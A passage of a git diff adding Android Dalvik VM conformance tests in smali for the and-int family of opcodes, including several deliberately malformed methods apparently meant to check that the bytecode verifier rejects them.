+.registers 4
+
+       and-int v0, v2, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.smali
new file mode 100644
index 0000000..7bded18
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       and-int v2, v0, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.smali
new file mode 100644
index 0000000..b8e8b1e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_3.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 31415
+       and-int v2, v0, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.smali
new file mode 100644
index 0000000..03018a2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_4.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int v0, v2, v1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.smali
new file mode 100644
index 0000000..834ff36
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_5.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+       and-int v0, v2, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.smali
new file mode 100644
index 0000000..73ad3f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_6.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int v0, v2, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.smali
new file mode 100644
index 0000000..37b7019
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/2addr v2, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.smali
new file mode 100644
index 0000000..7499925
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       and-int/2addr v0, v3
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.smali
new file mode 100644
index 0000000..6ea7fa9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 31415
+       and-int/2addr v0, v3
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.smali
new file mode 100644
index 0000000..2e1d14a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/2addr v2, v1
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.smali
new file mode 100644
index 0000000..8bf249e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+       and-int/2addr v2, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.smali
new file mode 100644
index 0000000..f523f5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/2addr v2, v4
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.smali
new file mode 100644
index 0000000..9fc8b5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 15
+       and-int/lit16 v0, v0, 8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.smali
new file mode 100644
index 0000000..d1c3461
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/lit16 v0, v4, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.smali
new file mode 100644
index 0000000..2495e43
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, -7
+       and-int/lit16 v0, v0, -8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.smali
new file mode 100644
index 0000000..c5fbba3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 0xcafe
+       and-int/lit16 v0, v0, -1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.smali
new file mode 100644
index 0000000..aeaca9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 0
+       and-int/lit16 v0, v0, -1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.smali
new file mode 100644
index 0000000..e66fa46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 32767
+       and-int/lit16 v0, v0, -32768
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.smali
new file mode 100644
index 0000000..f9a896b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       const-wide v0, 1.0
+       and-int/lit16 v0, v0, 1
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.smali
new file mode 100644
index 0000000..18d86c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       const-wide v0, 1
+       and-int/lit16 v0, v0, 1
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.smali
new file mode 100644
index 0000000..cc5a564
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       and-int/lit16 v2, v3, 1
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.smali
new file mode 100644
index 0000000..8a76f3a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+       and-int/lit16 v0, v3, 123
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.smali
new file mode 100644
index 0000000..eceddb2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 15
+       and-int/lit8 v0, v0, 8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.smali
new file mode 100644
index 0000000..31eab62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/lit8 v0, v4, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.smali
new file mode 100644
index 0000000..d3b56db
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
